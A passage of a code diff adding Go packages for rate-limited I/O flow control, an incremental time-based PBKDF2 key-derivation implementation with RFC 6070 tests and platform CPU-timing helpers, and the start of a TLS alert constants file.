func (m *Monitor) waitNextSample(now time.Duration) time.Duration {
|
||||
const minWait = 5 * time.Millisecond
|
||||
current := m.sLast
|
||||
|
||||
// sleep until the last sample time changes (ideally, just one iteration)
|
||||
for m.sLast == current && m.active {
|
||||
d := current + m.sRate - now
|
||||
m.mu.Unlock()
|
||||
if d < minWait {
|
||||
d = minWait
|
||||
}
|
||||
time.Sleep(d)
|
||||
m.mu.Lock()
|
||||
now = m.update(0)
|
||||
}
|
||||
return now
|
||||
}
|
||||
@@ -0,0 +1,133 @@
|
||||
//
|
||||
// Written by Maxim Khitrov (November 2012)
|
||||
//
|
||||
|
||||
package flowcontrol
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"io"
|
||||
)
|
||||
|
||||
// ErrLimit is returned by the Writer when a non-blocking write is short due to
|
||||
// the transfer rate limit.
|
||||
var ErrLimit = errors.New("flowcontrol: transfer rate limit exceeded")
|
||||
|
||||
// Limiter is implemented by the Reader and Writer to provide a consistent
|
||||
// interface for monitoring and controlling data transfer.
|
||||
type Limiter interface {
|
||||
Done() int64
|
||||
Status() Status
|
||||
SetTransferSize(bytes int64)
|
||||
SetLimit(new int64) (old int64)
|
||||
SetBlocking(new bool) (old bool)
|
||||
}
|
||||
|
||||
// Reader implements io.ReadCloser with a restriction on the rate of data
|
||||
// transfer.
|
||||
type Reader struct {
|
||||
io.Reader // Data source
|
||||
*Monitor // Flow control monitor
|
||||
|
||||
limit int64 // Rate limit in bytes per second (unlimited when <= 0)
|
||||
block bool // What to do when no new bytes can be read due to the limit
|
||||
}
|
||||
|
||||
// NewReader restricts all Read operations on r to limit bytes per second.
|
||||
func NewReader(r io.Reader, limit int64) *Reader {
|
||||
return &Reader{r, New(0, 0), limit, true}
|
||||
}
|
||||
|
||||
// Read reads up to len(p) bytes into p without exceeding the current transfer
|
||||
// rate limit. It returns (0, nil) immediately if r is non-blocking and no new
|
||||
// bytes can be read at this time.
|
||||
func (r *Reader) Read(p []byte) (n int, err error) {
|
||||
p = p[:r.Limit(len(p), r.limit, r.block)]
|
||||
if len(p) > 0 {
|
||||
n, err = r.IO(r.Reader.Read(p))
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// SetLimit changes the transfer rate limit to new bytes per second and returns
|
||||
// the previous setting.
|
||||
func (r *Reader) SetLimit(new int64) (old int64) {
|
||||
old, r.limit = r.limit, new
|
||||
return
|
||||
}
|
||||
|
||||
// SetBlocking changes the blocking behavior and returns the previous setting. A
|
||||
// Read call on a non-blocking reader returns immediately if no additional bytes
|
||||
// may be read at this time due to the rate limit.
|
||||
func (r *Reader) SetBlocking(new bool) (old bool) {
|
||||
old, r.block = r.block, new
|
||||
return
|
||||
}
|
||||
|
||||
// Close closes the underlying reader if it implements the io.Closer interface.
|
||||
func (r *Reader) Close() error {
|
||||
defer r.Done()
|
||||
if c, ok := r.Reader.(io.Closer); ok {
|
||||
return c.Close()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Writer implements io.WriteCloser with a restriction on the rate of data
|
||||
// transfer.
|
||||
type Writer struct {
|
||||
io.Writer // Data destination
|
||||
*Monitor // Flow control monitor
|
||||
|
||||
limit int64 // Rate limit in bytes per second (unlimited when <= 0)
|
||||
block bool // What to do when no new bytes can be written due to the limit
|
||||
}
|
||||
|
||||
// NewWriter restricts all Write operations on w to limit bytes per second. The
|
||||
// transfer rate and the default blocking behavior (true) can be changed
|
||||
// directly on the returned *Writer.
|
||||
func NewWriter(w io.Writer, limit int64) *Writer {
|
||||
return &Writer{w, New(0, 0), limit, true}
|
||||
}
|
||||
|
||||
// Write writes len(p) bytes from p to the underlying data stream without
|
||||
// exceeding the current transfer rate limit. It returns (n, ErrLimit) if w is
|
||||
// non-blocking and no additional bytes can be written at this time.
|
||||
func (w *Writer) Write(p []byte) (n int, err error) {
|
||||
var c int
|
||||
for len(p) > 0 && err == nil {
|
||||
s := p[:w.Limit(len(p), w.limit, w.block)]
|
||||
if len(s) > 0 {
|
||||
c, err = w.IO(w.Writer.Write(s))
|
||||
} else {
|
||||
return n, ErrLimit
|
||||
}
|
||||
p = p[c:]
|
||||
n += c
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// SetLimit changes the transfer rate limit to new bytes per second and returns
|
||||
// the previous setting.
|
||||
func (w *Writer) SetLimit(new int64) (old int64) {
|
||||
old, w.limit = w.limit, new
|
||||
return
|
||||
}
|
||||
|
||||
// SetBlocking changes the blocking behavior and returns the previous setting. A
|
||||
// Write call on a non-blocking writer returns as soon as no additional bytes
|
||||
// may be written at this time due to the rate limit.
|
||||
func (w *Writer) SetBlocking(new bool) (old bool) {
|
||||
old, w.block = w.block, new
|
||||
return
|
||||
}
|
||||
|
||||
// Close closes the underlying writer if it implements the io.Closer interface.
|
||||
func (w *Writer) Close() error {
|
||||
defer w.Done()
|
||||
if c, ok := w.Writer.(io.Closer); ok {
|
||||
return c.Close()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
+146
@@ -0,0 +1,146 @@
|
||||
//
|
||||
// Written by Maxim Khitrov (November 2012)
|
||||
//
|
||||
|
||||
package flowcontrol
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"reflect"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
_50ms = 50 * time.Millisecond
|
||||
_100ms = 100 * time.Millisecond
|
||||
_200ms = 200 * time.Millisecond
|
||||
_300ms = 300 * time.Millisecond
|
||||
_400ms = 400 * time.Millisecond
|
||||
_500ms = 500 * time.Millisecond
|
||||
)
|
||||
|
||||
func nextStatus(m *Monitor) Status {
|
||||
samples := m.samples
|
||||
for i := 0; i < 30; i++ {
|
||||
if s := m.Status(); s.Samples != samples {
|
||||
return s
|
||||
}
|
||||
time.Sleep(5 * time.Millisecond)
|
||||
}
|
||||
return m.Status()
|
||||
}
|
||||
|
||||
func TestReader(t *testing.T) {
|
||||
in := make([]byte, 100)
|
||||
for i := range in {
|
||||
in[i] = byte(i)
|
||||
}
|
||||
b := make([]byte, 100)
|
||||
r := NewReader(bytes.NewReader(in), 100)
|
||||
start := time.Now()
|
||||
|
||||
// Make sure r implements Limiter
|
||||
_ = Limiter(r)
|
||||
|
||||
// 1st read of 10 bytes is performed immediately
|
||||
if n, err := r.Read(b); n != 10 || err != nil {
|
||||
t.Fatalf("r.Read(b) expected 10 (<nil>); got %v (%v)", n, err)
|
||||
} else if rt := time.Since(start); rt > _50ms {
|
||||
t.Fatalf("r.Read(b) took too long (%v)", rt)
|
||||
}
|
||||
|
||||
// No new Reads allowed in the current sample
|
||||
r.SetBlocking(false)
|
||||
if n, err := r.Read(b); n != 0 || err != nil {
|
||||
t.Fatalf("r.Read(b) expected 0 (<nil>); got %v (%v)", n, err)
|
||||
} else if rt := time.Since(start); rt > _50ms {
|
||||
t.Fatalf("r.Read(b) took too long (%v)", rt)
|
||||
}
|
||||
|
||||
status := [6]Status{0: r.Status()} // No samples in the first status
|
||||
|
||||
// 2nd read of 10 bytes blocks until the next sample
|
||||
r.SetBlocking(true)
|
||||
if n, err := r.Read(b[10:]); n != 10 || err != nil {
|
||||
t.Fatalf("r.Read(b[10:]) expected 10 (<nil>); got %v (%v)", n, err)
|
||||
} else if rt := time.Since(start); rt < _100ms {
|
||||
t.Fatalf("r.Read(b[10:]) returned ahead of time (%v)", rt)
|
||||
}
|
||||
|
||||
status[1] = r.Status() // 1st sample
|
||||
status[2] = nextStatus(r.Monitor) // 2nd sample
|
||||
status[3] = nextStatus(r.Monitor) // No activity for the 3rd sample
|
||||
|
||||
if n := r.Done(); n != 20 {
|
||||
t.Fatalf("r.Done() expected 20; got %v", n)
|
||||
}
|
||||
|
||||
status[4] = r.Status()
|
||||
status[5] = nextStatus(r.Monitor) // Timeout
|
||||
start = status[0].Start
|
||||
|
||||
// Active, Start, Duration, Idle, Bytes, Samples, InstRate, CurRate, AvgRate, PeakRate, BytesRem, TimeRem, Progress
|
||||
want := []Status{
|
||||
Status{true, start, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
|
||||
Status{true, start, _100ms, 0, 10, 1, 100, 100, 100, 100, 0, 0, 0},
|
||||
Status{true, start, _200ms, _100ms, 20, 2, 100, 100, 100, 100, 0, 0, 0},
|
||||
Status{true, start, _300ms, _200ms, 20, 3, 0, 90, 67, 100, 0, 0, 0},
|
||||
Status{false, start, _300ms, 0, 20, 3, 0, 0, 67, 100, 0, 0, 0},
|
||||
Status{false, start, _300ms, 0, 20, 3, 0, 0, 67, 100, 0, 0, 0},
|
||||
}
|
||||
for i, s := range status {
|
||||
if !reflect.DeepEqual(&s, &want[i]) {
|
||||
t.Errorf("r.Status(%v) expected %v; got %v", i, want[i], s)
|
||||
}
|
||||
}
|
||||
if !bytes.Equal(b[:20], in[:20]) {
|
||||
t.Errorf("r.Read() input doesn't match output")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriter(t *testing.T) {
|
||||
b := make([]byte, 100)
|
||||
for i := range b {
|
||||
b[i] = byte(i)
|
||||
}
|
||||
w := NewWriter(&bytes.Buffer{}, 200)
|
||||
start := time.Now()
|
||||
|
||||
// Make sure w implements Limiter
|
||||
_ = Limiter(w)
|
||||
|
||||
// Non-blocking 20-byte write for the first sample returns ErrLimit
|
||||
w.SetBlocking(false)
|
||||
if n, err := w.Write(b); n != 20 || err != ErrLimit {
|
||||
t.Fatalf("w.Write(b) expected 20 (ErrLimit); got %v (%v)", n, err)
|
||||
} else if rt := time.Since(start); rt > _50ms {
|
||||
t.Fatalf("w.Write(b) took too long (%v)", rt)
|
||||
}
|
||||
|
||||
// Blocking 80-byte write
|
||||
w.SetBlocking(true)
|
||||
if n, err := w.Write(b[20:]); n != 80 || err != nil {
|
||||
t.Fatalf("w.Write(b[20:]) expected 80 (<nil>); got %v (%v)", n, err)
|
||||
} else if rt := time.Since(start); rt < _400ms {
|
||||
t.Fatalf("w.Write(b[20:]) returned ahead of time (%v)", rt)
|
||||
}
|
||||
|
||||
w.SetTransferSize(100)
|
||||
status := []Status{w.Status(), nextStatus(w.Monitor)}
|
||||
start = status[0].Start
|
||||
|
||||
// Active, Start, Duration, Idle, Bytes, Samples, InstRate, CurRate, AvgRate, PeakRate, BytesRem, TimeRem, Progress
|
||||
want := []Status{
|
||||
Status{true, start, _400ms, 0, 80, 4, 200, 200, 200, 200, 20, _100ms, 80000},
|
||||
Status{true, start, _500ms, _100ms, 100, 5, 200, 200, 200, 200, 0, 0, 100000},
|
||||
}
|
||||
for i, s := range status {
|
||||
if !reflect.DeepEqual(&s, &want[i]) {
|
||||
t.Errorf("w.Status(%v) expected %v; got %v", i, want[i], s)
|
||||
}
|
||||
}
|
||||
if !bytes.Equal(b, w.Writer.(*bytes.Buffer).Bytes()) {
|
||||
t.Errorf("w.Write() input doesn't match output")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
//
|
||||
// Written by Maxim Khitrov (November 2012)
|
||||
//
|
||||
|
||||
package flowcontrol
|
||||
|
||||
import (
|
||||
"math"
|
||||
"strconv"
|
||||
"time"
|
||||
)
|
||||
|
||||
// clockRate is the resolution and precision of clock().
|
||||
const clockRate = 20 * time.Millisecond
|
||||
|
||||
// czero is the process start time rounded down to the nearest clockRate
|
||||
// increment.
|
||||
var czero = time.Duration(time.Now().UnixNano()) / clockRate * clockRate
|
||||
|
||||
// clock returns a low resolution timestamp relative to the process start time.
|
||||
func clock() time.Duration {
|
||||
return time.Duration(time.Now().UnixNano())/clockRate*clockRate - czero
|
||||
}
|
||||
|
||||
// clockToTime converts a clock() timestamp to an absolute time.Time value.
|
||||
func clockToTime(c time.Duration) time.Time {
|
||||
return time.Unix(0, int64(czero+c))
|
||||
}
|
||||
|
||||
// clockRound returns d rounded to the nearest clockRate increment.
|
||||
func clockRound(d time.Duration) time.Duration {
|
||||
return (d + clockRate>>1) / clockRate * clockRate
|
||||
}
|
||||
|
||||
// round returns x rounded to the nearest int64 (non-negative values only).
|
||||
func round(x float64) int64 {
|
||||
if _, frac := math.Modf(x); frac >= 0.5 {
|
||||
return int64(math.Ceil(x))
|
||||
}
|
||||
return int64(math.Floor(x))
|
||||
}
|
||||
|
||||
// Percent represents a percentage in increments of 1/1000th of a percent.
|
||||
type Percent uint32
|
||||
|
||||
// percentOf calculates what percent of the total is x.
|
||||
func percentOf(x, total float64) Percent {
|
||||
if x < 0 || total <= 0 {
|
||||
return 0
|
||||
} else if p := round(x / total * 1e5); p <= math.MaxUint32 {
|
||||
return Percent(p)
|
||||
}
|
||||
return Percent(math.MaxUint32)
|
||||
}
|
||||
|
||||
func (p Percent) Float() float64 {
|
||||
return float64(p) * 1e-3
|
||||
}
|
||||
|
||||
func (p Percent) String() string {
|
||||
var buf [12]byte
|
||||
b := strconv.AppendUint(buf[:0], uint64(p)/1000, 10)
|
||||
n := len(b)
|
||||
b = strconv.AppendUint(b, 1000+uint64(p)%1000, 10)
|
||||
b[n] = '.'
|
||||
return string(append(b, '%'))
|
||||
}
|
||||
@@ -0,0 +1,219 @@
|
||||
//
|
||||
// Written by Maxim Khitrov (October 2012)
|
||||
//
|
||||
|
||||
/*
|
||||
Package pbkdf2 provides an incremental version of the PBKDF2 key derivation
|
||||
algorithm, as described in RFC 2898.
|
||||
|
||||
Password-Based Key Derivation Function 2 derives cryptographic keys of a
|
||||
specified length from the provided password and salt values. The derivation is
|
||||
performed by a CPU-bound loop, with the iteration count specified as one of the
|
||||
function parameters. The higher the iteration count, the more difficult (time
|
||||
consuming) it is for an attacker to brute-force the password/salt combination.
|
||||
|
||||
An incremental PBKDF2 implementation allows the key derivation loop to resume
|
||||
execution from its previous state. This allows the user to derive keys after
|
||||
1000 and 2000 iterations, for example, without having to recompute the first
|
||||
1000 iterations twice. The package uses this feature to implement time-based key
|
||||
derivation functions (see Derive and Search methods), which gradually increment
|
||||
the iteration count until the time limit is reached.
|
||||
*/
|
||||
package pbkdf2
|
||||
|
||||
import (
|
||||
"crypto/hmac"
|
||||
"errors"
|
||||
"hash"
|
||||
"runtime"
|
||||
"time"
|
||||
)
|
||||
|
||||
// precision determines the timing accuracy of Derive and Search methods by
|
||||
// varying the exponential growth rate of the iteration count. The derivation
|
||||
// begins with 1024 iterations and the count is incremented exponentially at the
|
||||
// rate of 1/(2^precision). The minimum precision is 0 (100% growth rate) and
|
||||
// the maximum is 10 (0.1% growth rate). The theoretical timing error is plus or
|
||||
// minus timelimit*rate/(rate+2).
|
||||
//
|
||||
// A higher precision results in more accurate timing, but at the expense of
|
||||
// having to make many additional calls to the callback function when searching
|
||||
// for a previously derived key. A precision of 4 (6.25%) is a good compromise,
|
||||
// which covers 2^32 iterations in 252 steps with a timing error of 3%.
|
||||
const precision = 4
|
||||
|
||||
// KeyFound is returned by the PBKDF2.Search callback function to indicate that
|
||||
// the correct key was found.
|
||||
var KeyFound = errors.New("pbkdf2: key found")
|
||||
|
||||
// ErrTimeout is returned by PBKDF2.Search when a valid key is not found in the
|
||||
// allocated time.
|
||||
var ErrTimeout = errors.New("pbkdf2: key search timeout")
|
||||
|
||||
// Key derives a key from the password, salt, and iteration count, returning a
|
||||
// []byte of length dkLen that can be used as cryptographic key. This function
|
||||
// provides compatibility with the go.crypto/pbkdf2 package.
|
||||
func Key(pass, salt []byte, iter, dkLen int, h func() hash.Hash) []byte {
|
||||
return New(pass, salt, dkLen, h).Next(iter)
|
||||
}
|
||||
|
||||
type PBKDF2 struct {
|
||||
prf hash.Hash // HMAC
|
||||
dkLen int // Key length returned by key derivation methods
|
||||
salt []byte // Salt value used in the first iteration
|
||||
t []byte // Current T values (len >= dkLen, multiple of prf.Size())
|
||||
u []byte // Current U values (same len as t)
|
||||
iters int // Current iteration count
|
||||
}
|
||||
|
||||
// New returns a new PBKDF2 state initialized to zero iterations.
|
||||
func New(pass, salt []byte, dkLen int, h func() hash.Hash) *PBKDF2 {
|
||||
return &PBKDF2{prf: hmac.New(h, pass), dkLen: dkLen, salt: dup(salt)}
|
||||
}
|
||||
|
||||
// Derive derives a new key in time d.
|
||||
func (kdf *PBKDF2) Derive(d time.Duration) []byte {
|
||||
dk, _ := kdf.derive(d, precision, func([]byte) error { return nil })
|
||||
return dk
|
||||
}
|
||||
|
||||
// Search tries to find a previously derived key. The callback function f is
|
||||
// used to test the current key after each step in the derivation process. This
|
||||
// test must be reasonably fast to maintain accurate derivation timing. The
|
||||
// search stops when f returns a non-nil error or the time limit is reached. The
|
||||
// correct key is found when f returns KeyFound.
|
||||
//
|
||||
// As a general rule, Search should be given more time than Derive, especially
|
||||
// if the two operations are being performed on different computers. If Derive
|
||||
// was given 1 second, a reasonable limit for Search is 3 to 5 seconds.
|
||||
func (kdf *PBKDF2) Search(d time.Duration, f func(dk []byte) error) (dk []byte, err error) {
|
||||
if dk, err = kdf.derive(d, precision, f); err == KeyFound {
|
||||
err = nil
|
||||
} else {
|
||||
dk = nil
|
||||
if err == nil {
|
||||
err = ErrTimeout
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Next runs the key derivation algorithm for c additional iterations and
|
||||
// returns a copy of the new key.
|
||||
func (kdf *PBKDF2) Next(c int) []byte {
|
||||
if c <= 0 {
|
||||
panic("pbkdf2: invalid iteration count")
|
||||
}
|
||||
prf := kdf.prf
|
||||
hLen := prf.Size()
|
||||
|
||||
if kdf.iters == 0 {
|
||||
n := (kdf.dkLen + hLen - 1) / hLen
|
||||
t := make([]byte, 0, 2*n*hLen)
|
||||
for i := 1; i <= n; i++ {
|
||||
prf.Reset()
|
||||
prf.Write(kdf.salt)
|
||||
prf.Write([]byte{byte(i >> 24), byte(i >> 16), byte(i >> 8), byte(i)})
|
||||
t = prf.Sum(t)
|
||||
}
|
||||
kdf.t, kdf.u = t, t[len(t):cap(t)]
|
||||
copy(kdf.u, kdf.t)
|
||||
c--
|
||||
kdf.iters = 1
|
||||
}
|
||||
|
||||
t, u := kdf.t, kdf.u
|
||||
for i := 0; i < c; i++ {
|
||||
for j := 0; j < len(u); j += hLen {
|
||||
prf.Reset()
|
||||
prf.Write(u[j : j+hLen])
|
||||
prf.Sum(u[:j])
|
||||
}
|
||||
for j, v := range u {
|
||||
t[j] ^= v
|
||||
}
|
||||
}
|
||||
kdf.iters += c
|
||||
return dup(t[:kdf.dkLen])
|
||||
}
|
||||
|
||||
// Salt returns a copy of the current salt value.
|
||||
func (kdf *PBKDF2) Salt() []byte {
|
||||
return dup(kdf.salt)
|
||||
}
|
||||
|
||||
// Size returns the derived key size.
|
||||
func (kdf *PBKDF2) Size() int {
|
||||
return kdf.dkLen
|
||||
}
|
||||
|
||||
// Iters returns the total number of iterations performed so far.
|
||||
func (kdf *PBKDF2) Iters() int {
|
||||
return kdf.iters
|
||||
}
|
||||
|
||||
// Reset returns kdf to the initial state at zero iterations. Salt and dkLen
|
||||
// parameters for subsequent iterations can be changed by passing non-nil and
|
||||
// non-zero values, respectively.
|
||||
func (kdf *PBKDF2) Reset(salt []byte, dkLen int) {
|
||||
if dkLen > 0 {
|
||||
kdf.dkLen = dkLen
|
||||
}
|
||||
if salt != nil {
|
||||
kdf.salt = dup(salt)
|
||||
}
|
||||
kdf.t = nil
|
||||
kdf.u = nil
|
||||
kdf.iters = 0
|
||||
}
|
||||
|
||||
// derive performs time-based key derivation.
|
||||
func (kdf *PBKDF2) derive(d time.Duration, p uint, f func(dk []byte) error) (dk []byte, err error) {
|
||||
if p > 10 {
|
||||
panic("pbkdf2: invalid derivation precision")
|
||||
}
|
||||
kdf.Reset(nil, 0)
|
||||
ch := make(chan struct{})
|
||||
go func() {
|
||||
defer close(ch)
|
||||
runtime.LockOSThread()
|
||||
r := 1.0 / float64(uint(1)<<p)
|
||||
d -= time.Duration(float64(d) * r / (r + 2))
|
||||
t := timer{time.Now(), utime()}
|
||||
dk = kdf.Next(1024)
|
||||
for {
|
||||
if err = f(dk); err != nil || t.elapsed(d) {
|
||||
return
|
||||
}
|
||||
dk = kdf.Next(kdf.iters >> p)
|
||||
}
|
||||
}()
|
||||
<-ch
|
||||
return
|
||||
}
|
||||
|
||||
type timer struct {
|
||||
wall time.Time
|
||||
user time.Duration
|
||||
}
|
||||
|
||||
// elapsed returns true when time d has elapsed from the point when the timer
|
||||
// was created. Timing is done according to the user CPU time of the current
|
||||
// thread with the wall clock time acting as a backup. Systems that don't
|
||||
// provide per-thread timing information use the process CPU time instead. The
|
||||
// wall clock time defines lower (d) and upper (2*d) limits as a workaround for
|
||||
// inaccurate CPU time accounting on some systems (e.g. Windows).
|
||||
func (t *timer) elapsed(d time.Duration) bool {
|
||||
wall := time.Since(t.wall)
|
||||
emin := wall >= d
|
||||
if emin && wall < d<<1 {
|
||||
return utime()-t.user >= d
|
||||
}
|
||||
return emin
|
||||
}
|
||||
|
||||
func dup(b []byte) []byte {
|
||||
t := make([]byte, len(b))
|
||||
copy(t, b)
|
||||
return t
|
||||
}
|
||||
+85
@@ -0,0 +1,85 @@
|
||||
//
|
||||
// Written by Maxim Khitrov (October 2012)
|
||||
//
|
||||
|
||||
package pbkdf2
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/sha1"
|
||||
"crypto/sha256"
|
||||
"fmt"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestRFC6070(t *testing.T) {
|
||||
tests := []struct {
|
||||
P, S string
|
||||
c []int
|
||||
dkLen int
|
||||
out string
|
||||
}{
|
||||
{"password", "salt", []int{1}, 20,
|
||||
"0c 60 c8 0f 96 1f 0e 71 f3 a9 b5 24 af 60 12 06 2f e0 37 a6"},
|
||||
{"password", "salt", []int{2}, 20,
|
||||
"ea 6c 01 4d c7 2d 6f 8c cd 1e d9 2a ce 1d 41 f0 d8 de 89 57"},
|
||||
{"password", "salt", []int{1, 1}, 20,
|
||||
"ea 6c 01 4d c7 2d 6f 8c cd 1e d9 2a ce 1d 41 f0 d8 de 89 57"},
|
||||
{"password", "salt", []int{4096}, 20,
|
||||
"4b 00 79 01 b7 65 48 9a be ad 49 d9 26 f7 21 d0 65 a4 29 c1"},
|
||||
{"password", "salt", []int{1, 4095}, 20,
|
||||
"4b 00 79 01 b7 65 48 9a be ad 49 d9 26 f7 21 d0 65 a4 29 c1"},
|
||||
{"password", "salt", []int{2048, 2048}, 20,
|
||||
"4b 00 79 01 b7 65 48 9a be ad 49 d9 26 f7 21 d0 65 a4 29 c1"},
|
||||
{"password", "salt", []int{4095, 1}, 20,
|
||||
"4b 00 79 01 b7 65 48 9a be ad 49 d9 26 f7 21 d0 65 a4 29 c1"},
|
||||
{"password", "salt", []int{1, 4094, 1}, 20,
|
||||
"4b 00 79 01 b7 65 48 9a be ad 49 d9 26 f7 21 d0 65 a4 29 c1"},
|
||||
//{"password", "salt", []int{16777216}, 20,
|
||||
// "ee fe 3d 61 cd 4d a4 e4 e9 94 5b 3d 6b a2 15 8c 26 34 e9 84"},
|
||||
{"passwordPASSWORDpassword", "saltSALTsaltSALTsaltSALTsaltSALTsalt", []int{4096}, 25,
|
||||
"3d 2e ec 4f e4 1c 84 9b 80 c8 d8 36 62 c0 e4 4a 8b 29 1a 96 4c f2 f0 70 38"},
|
||||
{"pass\x00word", "sa\x00lt", []int{4096}, 16,
|
||||
"56 fa 6a a7 55 48 09 9d cc 37 d7 f0 34 25 e0 c3"},
|
||||
}
|
||||
var dk []byte
|
||||
for _, test := range tests {
|
||||
kdf := New([]byte(test.P), []byte(test.S), test.dkLen, sha1.New)
|
||||
for _, c := range test.c {
|
||||
dk = kdf.Next(c)
|
||||
}
|
||||
if out := fmt.Sprintf("% x", dk); out != test.out {
|
||||
t.Errorf("kdf.Next() expected %q; got %q", test.out, out)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestKeyGen(t *testing.T) {
|
||||
kdf := New([]byte("pass"), []byte("salt"), 10, sha256.New)
|
||||
key := kdf.Derive(100 * time.Millisecond)
|
||||
itr := kdf.Iters()
|
||||
|
||||
tryKey := func(dk []byte) error {
|
||||
if bytes.Equal(dk, key) {
|
||||
return KeyFound
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
d := 10 * time.Millisecond
|
||||
dk, err := kdf.Search(d, tryKey)
|
||||
if dk != nil || err != ErrTimeout {
|
||||
t.Errorf("kdf.Search(%v) expected ErrTimeout; got % x (%v)", d, dk, err)
|
||||
}
|
||||
|
||||
d = 200 * time.Millisecond
|
||||
dk, err = kdf.Search(d, tryKey)
|
||||
if !bytes.Equal(dk, key) || err != nil {
|
||||
t.Errorf("kdf.Search(%v) expected % x; got % x (%v)", d, key, dk, err)
|
||||
}
|
||||
|
||||
if kdf.Iters() != itr {
|
||||
t.Errorf("kdf.Iters() expected %v; got %v", itr, kdf.Iters())
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
//
|
||||
// Written by Maxim Khitrov (October 2012)
|
||||
//
|
||||
|
||||
// +build !freebsd,!linux,!windows
|
||||
|
||||
package pbkdf2
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
"time"
|
||||
)
|
||||
|
||||
func utime() time.Duration {
|
||||
var u syscall.Rusage
|
||||
if err := syscall.Getrusage(syscall.RUSAGE_SELF, &u); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return time.Duration(u.Utime.Nano())
|
||||
}
|
||||
+29
@@ -0,0 +1,29 @@
|
||||
//
|
||||
// Written by Maxim Khitrov (October 2012)
|
||||
//
|
||||
|
||||
// +build freebsd linux
|
||||
|
||||
package pbkdf2
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
"time"
|
||||
)
|
||||
|
||||
var getrusage_who = syscall.RUSAGE_THREAD
|
||||
|
||||
func init() {
|
||||
var u syscall.Rusage
|
||||
if syscall.Getrusage(getrusage_who, &u) == syscall.EINVAL {
|
||||
getrusage_who = syscall.RUSAGE_SELF
|
||||
}
|
||||
}
|
||||
|
||||
func utime() time.Duration {
|
||||
var u syscall.Rusage
|
||||
if err := syscall.Getrusage(getrusage_who, &u); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return time.Duration(u.Utime.Nano())
|
||||
}
|
||||
+64
@@ -0,0 +1,64 @@
|
||||
//
|
||||
// Written by Maxim Khitrov (October 2012)
|
||||
//
|
||||
|
||||
package pbkdf2
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
/*
|
||||
Note: GetThreadTimes function may return inaccurate values when the calling
|
||||
thread is frequently interrupted prior to consuming all of its quantum. This
|
||||
shouldn't be a huge problem for PBKDF2 calculation since it doesn't enter any
|
||||
wait states, but some additional testing in high-load situations is needed.
|
||||
|
||||
http://blog.kalmbachnet.de/?postid=28
|
||||
http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-10/0689.html
|
||||
*/
|
||||
|
||||
var (
|
||||
modkernel32 = syscall.MustLoadDLL("kernel32.dll")
|
||||
|
||||
procGetCurrentThread = modkernel32.MustFindProc("GetCurrentThread")
|
||||
procGetThreadTimes = modkernel32.MustFindProc("GetThreadTimes")
|
||||
)
|
||||
|
||||
func utime() time.Duration {
|
||||
var u syscall.Rusage
|
||||
h, _ := getCurrentThread()
|
||||
err := getThreadTimes(h, &u.CreationTime, &u.ExitTime, &u.KernelTime, &u.UserTime)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
t := uint64(u.UserTime.HighDateTime)<<32 | uint64(u.UserTime.LowDateTime)
|
||||
return time.Duration(t * 100)
|
||||
}
|
||||
|
||||
func getCurrentThread() (pseudoHandle syscall.Handle, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procGetCurrentThread.Addr(), 0, 0, 0, 0)
|
||||
pseudoHandle = syscall.Handle(r0)
|
||||
if pseudoHandle == 0 {
|
||||
if e1 != 0 {
|
||||
err = error(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func getThreadTimes(handle syscall.Handle, creationTime, exitTime, kernelTime, userTime *syscall.Filetime) (err error) {
|
||||
r1, _, e1 := syscall.Syscall6(procGetThreadTimes.Addr(), 5, uintptr(handle), uintptr(unsafe.Pointer(creationTime)), uintptr(unsafe.Pointer(exitTime)), uintptr(unsafe.Pointer(kernelTime)), uintptr(unsafe.Pointer(userTime)), 0)
|
||||
if int(r1) == 0 {
|
||||
if e1 != 0 {
|
||||
err = error(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package main
|
||||
|
||||
import "strconv"
|
||||
|
||||
type alert uint8
|
||||
|
||||
const (
|
||||
// alert level
|
||||
alertLevelWarning = 1
|
||||
alertLevelError = 2
|
||||
)
|
||||
|
||||
const (
|
||||
alertCloseNotify alert = 0
|
||||
alertUnexpectedMessage alert = 10
|
||||
alertBadRecordMAC alert = 20
|
||||
alertDecryptionFailed alert = 21
|
||||
alertRecordOverflow alert = 22
|
||||
alertDecompressionFailure alert = 30
|
||||
alertHandshakeFailure alert = 40
|
||||
alertBadCertificate alert = 42
|
||||
alertUnsupportedCertificate alert = 43
|
||||
alertCertificateRevoked alert = 44
|
||||
alertCertificateExpired alert = 45
|
||||
alertCertificateUnknown alert = 46
|
||||
alertIllegalParameter alert = 47
|
||||
alertUnknownCA alert = 48
|
||||
alertAccessDenied alert = 49
|
||||
alertDecodeError alert = 50
|
||||
alertDecryptError alert = 51
|
||||
alertProtocolVersion alert = 70
|
||||
alertInsufficientSecurity alert = 71
|
||||
